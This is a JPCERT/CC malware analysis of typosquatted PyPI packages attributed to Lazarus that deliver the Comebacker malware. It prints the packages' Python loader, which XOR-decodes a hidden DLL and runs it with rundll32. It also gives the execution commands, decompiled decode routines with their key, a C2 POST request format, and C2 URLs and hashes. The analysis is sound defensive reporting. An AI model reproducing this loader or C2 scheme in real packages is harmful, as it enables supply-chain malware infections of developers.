

New Malicious PyPI Packages used by Lazarus - JPCERT/CC Eyes

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JPCERT/CC has confirmed that Lazarus has released malicious Python packages to PyPI, the official Python package repository (Figure 1). The Python packages confirmed this time are as follows:

- pycryptoenv
- pycryptoconf
- quasarlib
- swapmempool

The package names `pycryptoenv` and `pycryptoconf` are similar to `pycrypto`, which is a Python package used for encryption algorithms in Python. Therefore, the attacker probably prepared the malware-containing malicious packages to target users' typos in installing Python packages.

This article provides details on these malicious Python packages.




Figure 1: Python packages released by Lazarus attack group

File structure of the malicious Python packages

Since the multiple malicious Python packages confirmed this time have almost the same file structure, this article uses `pycryptoenv` as an example in the following sections. The malicious Python package has the file structure

shown in Figure 2. The main body of the malware is a file named `test.py`. This file itself is not Python but binary data, which is an encoded DLL file.




Figure 2: File structure of pycryptoenv

The code to decode and execute `test.py` is contained in `__init__.py`, as shown in Figure 3. The `test.py` is simply an XOR-encoded DLL file, and it is decoded, saved as a file, and then executed by `__init__.py`.

```

230 def crypt(filepath, key, strKey, no):
231     inputFilePath = os.path.join(filepath, 'test.py')
232     outputFilePath = os.path.join(filepath, 'output.py')
233     command = b'\xae\xa9\xb2\xb8\xb0\xb0\xef\xee'
234     if os.path.isfile(inputFilePath):
235         with open(inputFilePath, "rb") as f1:
236             with open(outputFilePath, "wb") as f3:
237                 while True:
238                     byte = f1.read(1)
239                     if not byte:
240                         break # End of file
241
242                     # Perform XOR encryption
243                     encrypted_byte = ord(byte) ^ key
244
245                     # Write the encrypted byte to the output file
246                     f3.write(bytes([encrypted_byte]))
247     result_bytes = bytes([byte ^ strKey for byte in command])
248     result_string = result_bytes.decode('utf-8')
249     strcommand = result_string + " " + outputFilePath + ", CalculateSum " + str(no)
250     try:
251         subprocess.run(strcommand, shell=True, check=True, text=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
252         os.remove(inputFilePath)
253     except:
254         pass
255     if os.path.isfile(outputFilePath):
256         os.remove(outputFilePath)

```

Figure 3: Code to decode and execute test.py

This type of malware, called Comebacker, is the same type as that used by Lazarus to target security researchers in an attack reported by Google [1] in January 2021. The following sections describe the details of test.py .

Details of test.py

Since the code which calls the function to decode and execute test.py (the crypt function in Figure 3) does not exist in pycryptoenv, the malware cannot be executed simply by installing pycryptoenv. Therefore, the attacker probably runs the Python script that executes the crypt function on the target machine in some way. The following section describes the behavior when a function that decodes and executes test.py is run.

Figure 4 shows the process from pycryptoenv to the execution of the malware main body.




Figure 4: Flow up to Comebacker execution

After test.py is XOR-decoded, it is saved as output.py and then executed as a DLL file by the following command.

```
$ rundll32 output.py,CalculateSum
```

The DLL files `IconCache.db` and `NTUSER.DAT` are created and executed by the following command. `NTUSER.DAT` is encoded, and the decoded data is executed on memory, and this data is the main body of `Comebacker`.

```
RUNDLL32.exe %APPDATA%\..\Roaming\Microsoft\IconCache.db,GetProcAddress %APPDATA%\..\Roaming\Microsoft\
```

The samples confirmed this time have a fixed decode key as shown in Figure 5, and they are used to decode each file.

```

1 void __fastcall CalculateSumw(__int64 a1, __int64 a2, __int64 a3)
2 {
3   __int64 v3; // rbx
4   char **v4; // rax
5   __int64 key; // [rsp+20h] [rbp-38h]
6
7   strcpy((char *)&key, "HHv8S5{&R{j-}>XXUBh3NES{}wk|Sj_8"});
8   v3 = a3;
9   mal_decode(&key, (int *)&key);
10  v4 = mal_drop_data(v3);
11  if (v4 != (char *)-1)
12  {
13    myfree(v4);
14  }
15 }
16
17 char __fastcall mal_decode_data(__int64 key_data)
18 {
19  __int16 *data; // r11
20  __int64 key; // rbx
21  __int64 v3; // rsi
22  __int64 v4; // r8
23  __int64 v5; // rdx
24  __int64 v6; // r9
25  __int64 v7; // rdi
26  __int64 v8; // rcx
27  int v9; // eri0
28  int v10; // er8
29  int v11; // er8
30  __int16 v12; // ax
31  char *result; // rax
32
33  data = &ENC_DATA;
34  key = key_data;
35  v3 = 4164 - (_DWORD)&ENC_DATA;
36  do
37  {
38    v4 = (*_DWORD*)(key + 0x2000) & 0x3FF;
39    v5 = ((*_DWORD*)(key + 0x2000) & 0x3FF) - 3 & 0x3FF;
40    v6 = ((*_DWORD*)(key + 0x2000) & 0x3FF) - 10 & 0x3FF;
41    v7 = ((*_DWORD*)(key + 0x2000) & 0x3FF) - 12 & 0x3FF;
42    v8 = ((*_DWORD*)(key + 0x2000) & 0x3FF) + 1 & 0x3FF;
43    if ((*_DWORD*)(key + 0x2000) >= 0x4000)
44    {
45      v9 = (*_DWORD*)(key + 4 * v4 + 4096)
46        + (*_DWORD*)(key + 4 * v6 + 4096)
47        + 4164
48        + ((unsigned __int16)*(_DWORD*)(key + 4 * v8 + 4096) ^ (unsigned __int16)*(_DWORD*)(key + 4 * v5 + 4096)) & 0x3FF);
49      v10 = (*_DWORD*)(key + 4 * v4 + 4096) = v9;
50      v10 = (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096))
51        + (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096) >> 8) + 1024
52        + (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096) >> 16) + 2048
53        + (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096) >> 24) + 3072);
54    }
55    else
56    {
57      v9 = (*_DWORD*)(key + 4 * v4)
58        + (*_DWORD*)(key + 4 * v6)
59        + (*_DWORD*)(key + 4164 * (unsigned __int16)*(_DWORD*)(key + 4 * v8) ^ (unsigned __int16)*(_DWORD*)(key + 4 * v5)) & 0x3FF)
60        + 4096;
61      v10 = (*_DWORD*)(key + 4 * v4) = v9;
62      v10 = (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096))
63        + (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096) >> 8) + 5120
64        + (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096) >> 16) + 6144
65        + (*_DWORD*)(key + 4164 * (unsigned __int8)*(_DWORD*)(key + 4 * v7 + 4096) >> 24) + 7168);
66    }
67    v11 = v9 ^ v10;
68    data += 2;
69    v12 = (*_DWORD*)(key + 0x2000) + 1;
70    (*_DWORD*)(key + 8196) = v11;
71    (*_DWORD*)(key + 0x2000) = v12 & 0x7FF;
72    (*_DWORD*)(data - 1) ^= v11;
73    result = (char *)data + v3;
74  }
75  while ((unsigned __int64)data + v3 <= 0x55400);
76  return result;
77 }

```

Decode Key

Decode Function

Figure 5: Decode Keys and Decode Functions

In addition, the NOP code used in this sample has a unique characteristic. As shown in Figure 6, there is a command starting with `66 66 66 66` in the middle of the code. This is often used, especially in the decode and encode functions. This characteristic is also found in other types of malware used by Lazarus, including [malware BLINDINGCAN](#).

Comebacker		
.text:000000018000133C	48 8B D7	mov rdx, rdi
.text:000000018000133F	41 88 00 02 00 00	mov r8d, 200h
.text:0000000180001345	48 2B D0	sub rdx, rax
.text:0000000180001348	48 8D 8C 24 20 08 00 00	lea rcx, [rsp+2838h+var_2018]
.text:0000000180001350	45 8B C8	mov r9d, r8d
.text:0000000180001353		db 66h, 66h, 66h, 66h
.text:0000000180001353	66 66 66 66 66 0F 1F 84	nop word ptr [rax+rax+00000000h]
.text:0000000180001353	00 00 00 00 00	
.text:0000000180001360		
BLINDINGCAN		
.text:0000000180002A71	0F B6 C1	movzx eax, cl
.text:0000000180002A74	0F B6 0C 04	movzx ecx, [rsp+rax+138h+box]
.text:0000000180002A78	41 30 09	xor [r9], cl
.text:0000000180002A7B	83 FF 01	cmp edi, 1
.text:0000000180002A7E	76 48	jbe short loc_180002AC8
.text:0000000180002A80	49 FF C1	inc r9
.text:0000000180002A83		db 66h, 66h, 66h, 66h
.text:0000000180002A83	66 66 66 66 66 0F 1F 84	nop word ptr [rax+rax+00000000h]
.text:0000000180002A83	00 00 00 00 00	
.text:0000000180002A90		

Figure 6: Comparison of characteristic NOP commands between Comebacker and BLINDINGCAN

Details of Comebacker

Comebacker sends the following HTTP POST request to its C2 servers.

```
POST /manage/manage.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Host: chaingrown.com
Content-Length: 129
Cache-Control: no-cache

NB=XMAFUUCARD&GPETR=NTU1NTY0aHU0Z2psMkRhUA==&FCKA=&YUYRNT=0&POCAYM=52&PQWFQU=MgAwADIANAAtADAAMgAtADA
```

The POST data consists of the following:

```
[2 random characters]=[command (determined by string length)]&[random character]=[device ID (base64 encoded)]
```

*After receiving data from the server, it becomes "yyyy-MM-dd hh:mm:ss|command (same as the first one)"

In response to the above data sent, the server sends back a Windows executable file (see Appendix A for details of the received data format). Comebacker has a function to execute the received Windows executable file on memory.

Associated Attacks

Phylum has reported [2] a similar case to this attack in the past. In this case, a npm package contains Comebacker, and thus the attack is considered to have been conducted by Lazarus as well. In this way, the attacker aims to spread malware infections in multiple package repositories.




Figure 7: npm package released by Lazarus attack group

In Closing

The malicious Python packages confirmed this time have been downloaded approximately 300 to 1,200 times (Figure 8). Attackers may be targeting users' typos to have the malware downloaded. When you install modules and other kinds of software in your development environment, please do so carefully to avoid installing unwanted packages. For C2 and other information on the malware described in this article, please refer to the Appendix.




Figure 8: Number of pycryptoenv downloads

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(Translated by Takumi Nakano)

References

- [1] Google: New campaign targeting security researchers
<https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/>
- [2] Phylum: Crypto-Themed npm Packages Found Delivering Stealthy Malware
<https://blog.phylum.io/crypto-themed-npm-packages-found-delivering-stealthy-malware/>

Appendix A: Format of the received data

Table A: Format of the received data

Offset	Content	Notes
0x00	Hex string	Command

0x05	Hex string	End flag (reception ends if it is 3)
0x07	Hex string	Data length
0x10	Data	Base64 data with "+" replaced with space

The data format is as follows:

```
[number(number to be included in the next POST data)][number(data size to receive)][Export function]
```

Appendix B: C2

- <https://blockchain-newtech.com/download/download.asp>
- <https://fasttet.com/user/agency.asp>
- <https://chaingrown.com/manage/manage.asp>
- <http://91.206.178.125/upload/upload.asp>

Appendix C: Malware hash

pycryptoenv-1.0.7.tar.gz

- b4a04b450bb7cae5ea578e79ae9d0f203711c18c3f3a6de9900d2bdfaa4e7f67

pycryptoenv-1.0.7-py3-none-any.whl

- c56c94e21913b2df4be293001da84c3bb20badf823ccf5b6a396f5f49df5efff

pycryptoconf-1.0.6.tar.gz

- 956d2ed558e3c6e447e3d4424d6b14e81f74b63762238e84069f9a7610aa2531

pycryptoconf-1.0.6-py3-none-any.whl

- 6bba8f488c23a0e0f753ac21cd83ddeac5c4d14b70d4426d7cdeebdf813a1094

quasarlib-1.0.8.tar.gz

- 173e6bc33efc7a03da06bf5f8686a89bbbed54b6fc8a4263035b7950ed3886179

quasarlib-1.0.8-py3-none-any.whl

- 3ab6e6fc888e4df602eff1c5bc24f3e976215d1e4a58f963834e5b225a3821f5

swapmempool-1.0.8.tar.gz

- 60c080a29f58cf861f5e7c7fc5e5bddc7e63dd1db0badc06729d91f65957e9ce

swapmempool-1.0.8-py3-none-any.whl

- 26437bc68133c2ca09bb56bc011dd1b713f8ee40a2acc2488b102dd037641c6e

Comebacker

- 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c

- e05142f8375070d1ea25ed3a31404ca37b4e1ac88c26832682d8d2f9f4f6d0ae

Loader

- 01c5836655c6a4212676c78ec96c0ac6b778a411e61a2da1f545eba8f784e980
- aec915753612bb003330ce7ffc67cfa9d7e3c12310f0ecfd0b7e50abf427989a
- 85c3a2b185f882abd2cc40df5a1a341962bc4616bc78a344768e4de1d5236ab7
- a4e4618b358c92e04fe6b7f94a114870c941be5e323735a2e5cd195138327f8f
- a8a5411f3696b276aee37eee0d9bed99774910a74342bbd638578a315b65e6a6
- 8fb6d8a5013bd3a36c605031e86fd1f6bb7c3fdb722e58ee2f4769a820b86b0

Appendix D: PDB

- F:\workspace\CBG\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
- F:\workspace\CBG\npmLoaderDll\x64\Release\npmLoaderDll.pdb
- D:\workspace\CBG\Windows\Loader\npmLoaderDll\x64\Release\npmLoaderDll.pdb
- F:\workspace\CBG\Loader\publicLoaderFirst\x64\Release\publicLoaderFirst.pdb

Source: https://blogs.jpCERT.or.jp/en/2024/02/lazarus_pypi.html